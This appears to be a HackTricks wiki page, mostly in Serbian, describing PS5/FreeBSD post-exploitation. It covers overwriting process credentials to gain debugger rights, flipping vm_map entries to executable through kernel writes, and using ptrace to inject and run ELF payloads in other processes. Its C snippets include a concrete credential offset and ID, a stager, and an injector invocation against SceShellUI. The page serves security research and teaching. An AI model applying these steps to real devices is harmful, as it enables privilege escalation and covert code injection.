hacktricks/src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md

183 lines
9.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# FreeBSD ptrace RFI and vm_map PROT_EXEC bypass (PS5 case study)
{{#include ../banners/hacktricks-training.md}}
## Pregled
Ova stranica dokumentuje praktičnu Unix/BSD usermode process/ELF injection tehniku na PlayStation 5 (PS5), koji je zasnovan na FreeBSD. Metoda se generalizuje na FreeBSD derivati kada već imate kernel read/write (R/W) primitives. Na visokom nivou:
- Izmenite trenutne akreditive procesa (ucred) da biste dodelili privilegije debagera, omogućavajući ptrace/mdbg na proizvoljnim korisničkim procesima.
- Pronađite ciljne procese pretraživanjem kernel allproc liste.
- Zaobiđite PROT_EXEC ograničenja menjajući vm_map_entry.protection |= PROT_EXEC u ciljanom vm_map-u putem data-only zapisa u kernel memoriju.
- Koristite ptrace za izvođenje Remote Function Invocation (RFI): suspendujte nit, postavite registre da pozovete proizvoljne funkcije unutar cilja, nastavite izvršavanje, prikupite povratne vrednosti i vratite stanje.
- Mapirajte i pokrenite proizvoljne ELF payload-e unutar cilja koristeći in-process ELF loader, zatim pokrenite posebnu nit koja izvršava vaš payload i pokreće breakpoint da biste se lepo odvojili.
PS5 hypervisor mitigacije koje vredi pomenuti (u kontekstu ove tehnike):
- XOM (execute-only .text) sprečava čitanje/pisanje kernel .text.
- Brisanje CR0.WP ili onemogućavanje CR4.SMEP izaziva hypervisor vmexit (crash). Samo data-only kernel zapisi su izvodljivi.
- Userland mmap je po defaultu ograničen na PROT_READ|PROT_WRITE. Dodeljivanje PROT_EXEC mora se obaviti uređivanjem vm_map unosa u kernel memoriji.
Ova tehnika je post-exploitation: pretpostavlja kernel R/W primitives iz exploit lanca. Javne payload-e demonstriraju ovo do firmware 10.01 u vreme pisanja.
## Kernel data-only primitives
### Process discovery via allproc
FreeBSD održava dvostruko povezanu listu procesa u kernel .data na allproc. Sa kernel read primitive, iterirajte je da biste locirali imena procesa i PID-ove:
```c
struct proc* find_proc_by_name(const char* proc_name){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
if (!strcmp(proc->p_comm, proc_name)) return proc;
kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
} while (next);
free(proc);
return NULL;
}
void list_all_proc_and_pid(){
uint64_t next = 0;
kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
struct proc* proc = malloc(sizeof(struct proc));
do{
kernel_copyout(next, (void*)proc, sizeof(struct proc));
printf("%s - %d\n", proc->p_comm, proc->pid);
kernel_copyout(next, &next, sizeof(uint64_t));
} while (next);
free(proc);
}
```
- KERNEL_ADDRESS_ALLPROC zavisi od firmvera.
- p_comm je ime fiksne veličine; razmotrite pid->proc pretrage ako je potrebno.
### Povećajte privilegije za debugovanje (ucred)
Na PS5, struct ucred sadrži polje Authority ID dostupno preko proc->p_ucred. Upisivanje debugger Authority ID-a omogućava ptrace/mdbg nad ostalim procesima:
```c
void set_ucred_to_debugger(){
struct proc* proc = get_proc_by_pid(getpid());
if (proc){
uintptr_t authid = 0; // read current (optional)
uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
free(proc);
}
}
```
- Offset 0x58 je specifičan za PS5 firmware family i mora se proveriti za svaku verziju.
- Nakon ovog write-a, injector može da se attach-uje i instrumentuje user processes putem ptrace/mdbg.
## Zaobilaženje RW-only user mappings: vm_map PROT_EXEC flip
Userland mmap može biti ograničen na PROT_READ|PROT_WRITE. FreeBSD prati address space procesa u vm_map od vm_map_entry čvorova (BST plus list). Svaki entry sadrži protection i max_protection polja:
```c
struct vm_map_entry {
struct vm_map_entry *prev,*next,*left,*right;
vm_offset_t start, end, avail_ssize;
vm_size_t adj_free, max_free;
union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
int wired_count; vm_pindex_t lastr;
};
```
With kernel R/W možete locirati target-ov vm_map i postaviti entry->protection |= PROT_EXEC (i, po potrebi, entry->max_protection). Praktčne napomene za implementaciju:
- Prođite kroz entry-e ili linearno preko next ili koristeći balanced-tree (left/right) za O(log n) pretragu po opsegu adresa.
- Izaberite poznatu RW regiju koju kontrolišete (scratch buffer ili mapped file) i dodajte PROT_EXEC kako biste mogli postaviti kod ili loader thunks.
- PS5 SDK code pruža helper-e za brzu lookup map-entry i prebacivanje zaštita.
Ovo zaobilazi userland-ovu mmap politiku editovanjem kernel-owned metadata direktno.
## Remote Function Invocation (RFI) with ptrace
FreeBSD nema Windows-style VirtualAllocEx/CreateRemoteThread. Umesto toga, naterajte target da poziva funkcije na sebi pod ptrace kontrolom:
1. Attach-ujte se na target i izaberite thread; PTRACE_ATTACH ili PS5-specific mdbg flow-e mogu važiti.
2. Sačuvajte thread context: registers, PC, SP, flags.
3. Upisujte argument registers prema ABI (x86_64 SysV ili arm64 AAPCS64), postavite PC na target funkciju i po potrebi smestite dodatne args/stack.
4. Single-step-ujte ili continue dok se ne dogodi kontrolisano zaustavljanje (npr. software breakpoint ili signal), zatim pročitajte povratne vrednosti iz regs.
5. Restore-ujte originalni context i continue-ujte.
Upotrebe:
- Pozovite in-process ELF loader (npr. elfldr_load) sa pointer-om na vaš ELF image u memoriji targeta.
- Pozovite helper routine da dohvatite vraćene entrypoint-e i pointer-e na payload-args.
Example of driving the ELF loader:
```c
intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
intptr_t args = elfldr_payload_args(target_pid);
printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
```
Loader mapira segments, resolves imports, primenjuje relocations i vraća entry (često CRT bootstrap) plus opaque payload_args pointer koji vaš stager prosleđuje payloads main().
## Threaded stager and clean detach
Minimalni stager unutar cilja kreira novi pthread koji pokreće ELFs main i zatim okida int3 da signalizira injector da se detach-uje:
```c
int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
pthread_t thread;
functions->pthread_create_ptr(&thread, 0,
(void*(*)(void*))functions->elf_main, functions->payload_args);
asm("int3");
return 0;
}
```
- Pokazivači SCEFunctions/payload_args obezbeđeni su od strane loader/SDK glue.
- Nakon breakpoint-a i detach-a, payload nastavlja u svojoj niti.
## Kraj-do-kraja tok (referentna implementacija za PS5)
Funkcionalna implementacija se isporučuje kao mali TCP injector server i klijentski skript:
- NineS server sluša na TCP 9033 i prima header koji sadrži ime ciljnog procesa, praćeno ELF image:
```c
typedef struct __injector_data_t{
char proc_name[MAX_PROC_NAME];
Elf64_Ehdr elf_header;
} injector_data_t;
```
- Korišćenje Python klijenta:
```bash
python3 ./send_injection_elf.py SceShellUI hello_world.elf <PS5_IP>
```
Primer Hello-world payload-a (loguje u klog):
```c
#include <stdio.h>
#include <unistd.h>
#include <ps5/klog.h>
int main(){
klog_printf("Hello from PID %d\n", getpid());
return 0;
}
```
## Praktična razmatranja
- Offseti i konstante (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) su specifični za firmware i moraju se ažurirati za svako izdanje.
- Zaštite hypervisora primoravaju pisanja samo podataka u kernel; ne pokušavajte patchovati CR0.WP ili CR4.SMEP.
- JIT memorija je alternativa: neki procesi izlažu PS5 JIT API-je za alokaciju izvršnih stranica. Preokret zaštite u vm_map uklanja potrebu oslanjanja na JIT/mirroring trikove.
- Obezbedite robusno čuvanje/obnavljanje registara; u slučaju greške možete izazvati deadlock ili crash cilja.
## Javni alati
- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk
- ELF loader: https://github.com/ps5-payload-dev/elfldr
- Injector server: https://github.com/buzzer-re/NineS/
- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils
- Related projects: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv
## Reference
- [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
- [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
- [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
- [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
- [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
- [Mira](https://github.com/OpenOrbis/mira-project)
- [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
- [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
{{#include ../banners/hacktricks-training.md}}